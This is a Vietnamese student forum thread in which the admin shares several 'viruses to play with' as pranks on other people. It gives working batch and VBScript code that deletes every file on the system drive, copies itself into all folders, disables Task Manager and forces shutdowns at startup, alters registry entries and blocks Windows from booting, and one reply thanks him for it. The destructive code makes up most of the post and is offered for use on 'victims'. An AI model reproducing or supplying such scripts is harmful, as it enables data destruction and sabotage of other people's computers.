Diễn Đàn Học Sinh Trường Trung Cấp Xây Dựng Tp.HCM
Chào mừng Khách viếng thăm đến với diễn đàn học sinh trường TCXD. TPHCM. Các bạn hãy đăng ký thành viên để tiện cho việc xem bài viết nhé. Cám ơn các bạn!!!

Diễn Đàn Học Sinh Trường Trung Cấp Xây Dựng Tp.HCM

Mỗi một thành viên là một viên gạch xây dựng diễn đàn
 
Trang ChínhCalendarTrợ giúpTìm kiếmĐăng kýĐăng NhậpPhotoshop  Online
News & Announcements
 Admin (200)
 lethuy_daotaoxaydung (157)
 solle bilo (86)
 nguyenhai777 (86)
 ĐàmDuyên (51)
 chaichai (31)
 phankalee (23)
 bucghe (20)
 cantlive (16)
 Black_Pig (12)
Hướng Dẫn Tạo Khung Chữ Ký Dưới Bài Viết
Du học Đài Loan - Học bổng 100% tại Trường đại học Kiến Quốc (Chienkuo Technology University)
Học Bổng Du Học Anh Ngành KINH DOANH, TÀI CHÍNH – KẾ TOÁN– MAKETING Trường LSBF London
Thủ thuật học bài tin học
Ngày Tết Truyền Thống Khác Lạ Của Người Do Thái
Hội Thảo Phỏng Vấn Trực Tiếp Cấp Học Bổng DU HỌC ANH - Kỳ Nhập Học 2014
[Volambisu.com] Khai mở Server Thanh Long 10h ngày 15/11-Đua Top nhận SamsungGALAXY
[Volambisu.com] Khai mở Server Thanh Long 10h ngày 15/11-Đua Top nhận SamsungGALAXY
HỘI THẢO DU HỌC ERC SINGAPORE - Chuyển Tiếp Tín Chỉ ĐH-CĐ Lấy Bằng ĐH Anh Quốc Chỉ Với 1 Năm Tại ERC, 16/11/2013
DU HỌC ANH - Phỏng Vấn Trực Tiếp 02/11 Với Đại Diện Trường Cấp Học Bổng Trường LSC, Chester, Anglia Ruskin University
Sân khấu chuyên nghiệp dành cho sự kiện
Nguyệt Nhãn Thông báo Open Alpha Test 10h00 ngày 12/10/2103
[ Nguyệt Nhãn ] Game võ hiệp 2.5D -- Tưng Bừng Event nhận GifCode khủng cho tân thủ
Học Lập trình web PHP - Cam kết 100% Thiết kế được website ngay trong khóa học
Cho thuê nhà bạt chuyên nghiệp dành chó sự kiện ngoài trời
Chữ ký số là gì ?
SOLLE BILO hãy lắng nghe..... nói và ......hi!
help me
mem mới
xd 09-12
kingkingpy  
duhocdailoangea  
prince_bolide  
prince_bolide  
xuanvuive2013  
Du_hoc_Newworld  
nguyenhai777  
nguyenhai777  
Du_hoc_Newworld  
Du_hoc_Newworld  
htkim1  
nguyenhai777  
nguyenhai777  
leupanh  
htkim1  
thanhvt1985  
Rùa  
Rùa  
Rùa  
Admin  

Một vài con Virus để nghịchXem chủ đề cũ hơn Xem chủ đề mới hơn Go down
Sun Nov 27, 2011 2:58 pm
Trụ Cột Của Giúp Đỡ
avatar
4R HS Trường TCXD.TPHCM - Admin-
Tổng số bài gửi : 200
Thanked : 79
Join date : 23/11/2011
Age : 27
Đến từ : Khu dân cư Gamer
Châm ngôn sống : Trụ Cột Của Giúp Đỡ
Comments : YH: honma_battri2000

Tài Sản
Huy Chương:
Profile Admin
Tổng số bài gửi : 200
Thanked : 79
Join date : 23/11/2011
Age : 27
Đến từ : Khu dân cư Gamer
Châm ngôn sống : Trụ Cột Của Giúp Đỡ
Comments : YH: honma_battri2000

Bài gửiTiêu đề: Một vài con Virus để nghịch
http://tcxd.forumvi.com

Tiêu đề: Một vài con Virus để nghịch

Nếu bạn là 1 người rảnh
ko có việc gì làm
lại thích chọc phá
thì đây 1 số con virus để các bác quậy chơi.
mở notepad copy dòng lệnh và save lại dưới dạng .vbs


lưu ý: tất cả đều save lại dưới dạng .vbs. chỉ có con virus 4 là down về rùi xài luôn khỏi làm gì hết
virus 1:
tác dụng: xóa tất cả các file trog thư mục systemdriver và tắt máy


Code:
[color=blue][b]@ echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00[/b][/color]

virus 2:
tác dụng: Nhân bản chính nó vào tất cả các thư mục của Windows, các thư mục trong ổ C:\ D:\ và E:\ và cả các thư mục con của nó. Nói chung là ổ cứng có bao nhiêu Folder thì con VR sẽ nhân bản lên bấy nhiêu lần và sau đó cho vào 1 Folder 1 bản.


Code:
[color=blue][b]'Thuoc Doc !!!
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:\")
FolderList("B:\")
FolderList("C:\")
FolderList("D:\")
FolderList("E:\")
FolderList("F:\")
FolderList("G:\")
FolderList("H:\")
FolderList("I:\")
FolderList("J:\")
FolderList("K:\")
FolderList("L:\")
FolderList("M:\")
FolderList("N:\")
FolderList("O:\")
FolderList("P:\")
FolderList("Q:\")
FolderList("R:\")
FolderList("S:\")
FolderList("T:\")
FolderList("U:\")
FolderList("V:\")
FolderList("X:\")
FolderList("Y:\")
FolderList("Z:\")
FolderList("W:\")

Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
Set COP=fso.CreateTextFile(f1.path & "\ban da dinh virus ¶_F11 ! hay tat may ngay.vbs")
COP.write VBCopy
Set CAP=fso.CreateTextFile(f1.path & "---ban da dinh virus ¶_F11 ! hay tat may ngay.vbs")
CAP.write VBCopy
FolderList(f1.Path)
Next
End sub[/b][/color]

save lại với tên: Thuoc_Doc.vbs
và đây là để xóa con virus này


Code:
[color=blue][b]'Thuoc Giai
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:\")
FolderList("B:\")
FolderList("C:\")
FolderList("D:\")
FolderList("E:\")
FolderList("F:\")
FolderList("G:\")
FolderList("H:\")
FolderList("I:\")
FolderList("J:\")
FolderList("K:\")
FolderList("L:\")
FolderList("M:\")
FolderList("N:\")
FolderList("O:\")
FolderList("P:\")
FolderList("Q:\")
FolderList("R:\")
FolderList("S:\")
FolderList("T:\")
FolderList("U:\")
FolderList("V:\")
FolderList("X:\")
FolderList("Y:\")
FolderList("Z:\")
FolderList("W:\")

Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP,ATT
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
'Set COP=fso.CreateTextFile(f1.path & "\ban da dinh virus ¶_F11 ! hay tat may ngay.vbs")
'COP.write VBCopy
'Set CAP=fso.CreateTextFile(f1.path & "---ban da dinh virus ¶_F11 ! hay tat may ngay.vbs")
'CAP.write VBCopy
'Set ATT=fso.GetFolder(f1.Path)
'ATT.Attributes=ATT.Attributes+2
fso.DeleteFile(f1.path & "\ban da dinh virus ¶_F11 ! hay tat may ngay.vbs")
fso.DeleteFile(f1.path & "---ban da dinh virus ¶_F11 ! hay tat may ngay.vbs")
FolderList(f1.Path)
Next
End sub[/b][/color]

save lại với tên Thuoc_Giai.vbs


virus 3:
tác dụng: tắt explorer và tắt máy sau 5s

Code:
[color=blue][b]reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\ Curr entVersion\Run" /v shutdown /t REG_SZ /d "shutdown.exe -f -s -t 05" /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\ Curr entVersion\Policies\System" /v DisableTaskmgr /t REG_DWORD /d 1 /f
cls
copy thelove.bat "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\"
cls
taskkill /f /im explorer.exe
cls
shutdown.exe -f -s -t 05 -c ".....error...."
cls
@echo off
echo Warning!!!!!!!!May Tinh Cua Ban Da Bi Nhiem Virus Bat Diet !!!!!!!!!
echo GOOD BYE SEE YOU AGAIN
pause
del thelove.bat[/b][/color]

các bạn có thể điều chỉnh thời gian tắt máy trong dòng "shutdown.exe -f -s -t 05 -c ".....error....""

số 05 đấy thấy ko. có thể thay đổi lại, tùy vào lòng nhân từ của bạn thôi!


virus 4:
tác dụng: cua gái ! hơi ngộ nhưng thật ra là vậy. khi victim click vào nó sẽ hiện ra cái bảng và muốn biết nó ra sao về nhà test thử sẽ biết, cái này ko phải virus đâu yên tâm mà chơi


Link Down: Click Here

virus 5:
tác dụng: hiển thị 1 dòng lệnh khi click vào file or folder


Code:
[color=blue][b]set reg=createobject("WScript.shell")
reg.regwrite "HKEY_CLASSES_ROOT\*\Shell\\","ban da bi ¶_F11 khong che! mau tat may"
reg.regwrite "HKEY_CLASSES_ROOT\folder\shell\ban da bi ¶_F11 khong che! mau tat may"[/b]
[/color]
virus 6:
tác dụng: không cho khởi động máy

Code:
[color=blue][b]Dim wsh
Set wsh = createobject("wscript.shell")
wsh.run "RUNDLL32.EXE user.exe,exitwindows[/b]
[/color]

virus 7
tác dụng:hiển thị 1 dòng lệnh mỗi khi khởi động máy

Code:
[color=blue][b]dim wsh
Set wsh = CreateObject( "WScript.Shell" )
s1 = "HKLM\Software\Microsoft\Windows\CurrentVersio n\Wi n Logon\"
s2 = "LegalNoticeCaption"
s3 = "LegalNoticeText"
wsh.RegWrite s1+s2, "¶_F11"
wsh.RegWrite s1+s3, "ban da bi virus khong che mau tat may neu ko se no"[/b][/color]

lưu ý nhỏ: chỗ chữ "¶_F11", "ban da bi virus khong che mau tat may neu ko se no" có thể thay = từ khác. bất cứ từ nào bạn muốn

nếu các bạn có 1 chút ít kiến thức về bộ môn nghệ thuật này. có thể chỉnh sửa theo ý mình để ko bị nhầm lẫn với bất cứ ai.


chúc các bạn luôn vẻ ! thấy hay cứ thanks đừng ngại

Lưu ý: mình chỉ đưa ra mang tính tham khảo thôi, mình sẽ ko chịu trách nhiêm nếu có sự cố xảy ra!!!

Tài Sản Của Admin
Tài Sản
Huy Chương:

Chữ Ký Của Admin

-------------------------------------------------------------------------------
Trụ Cột Của Forum


Mọi Thắc Từ Xin Liên Hệ Về Địa Chỉ Sau:
Gmail : Banquantri4r@gmail.com
Chào mừng bạn Khách viếng thăm đã đến với Forum Trường TCXD TPHCM!

Wed May 02, 2012 10:12 pm
Hãy yêu sách, sách là nguồn kiến thức vô tận. Chỉ có kiến thức mới là con đường sống
4R HS Trường TCXD.TPHCM - nonebody-
Tổng số bài gửi : 2
Thanked : 0
Join date : 02/05/2012
Châm ngôn sống : Hãy yêu sách, sách là nguồn kiến thức vô tận. Chỉ có kiến thức mới là con đường sống
Profile nonebody
Tổng số bài gửi : 2
Thanked : 0
Join date : 02/05/2012
Châm ngôn sống : Hãy yêu sách, sách là nguồn kiến thức vô tận. Chỉ có kiến thức mới là con đường sống

Bài gửiTiêu đề: Re: Một vài con Virus để nghịch

Tiêu đề: Một vài con Virus để nghịch

Hi nghịch vui thanks admin ạ. E mới vào diễn đàn có gì mong a chỉ giáo ạ

Tài Sản Của nonebody
Chữ Ký Của nonebody


Một vài con Virus để nghịch

Xem chủ đề cũ hơn Xem chủ đề mới hơn Về Đầu Trang
Trang 1 trong tổng số 1 trang
* Không dùng những ngôn từ thiếu lịch sự.
* Bài viết sưu tầm nên ghi rõ nguồn.
* Tránh spam nhảm không liên quan đến chủ đề.

Yêu cầu viết tiếng Việt có dấu.


Permissions in this forum:Bạn không có quyền trả lời bài viết
Diễn Đàn Học Sinh Trường Trung Cấp Xây Dựng Tp.HCM :: Khu Vực Dành Cho Dân I Tờ :: Khu Vực C.E.H-
Click ChatBox Ver 2 [?] - Online [?]
frontpage stats
Designer By Martin™
Free forum | © phpBB | Free forum support | Liên hệ | Report an abuse | Have a free blog with Sosblogs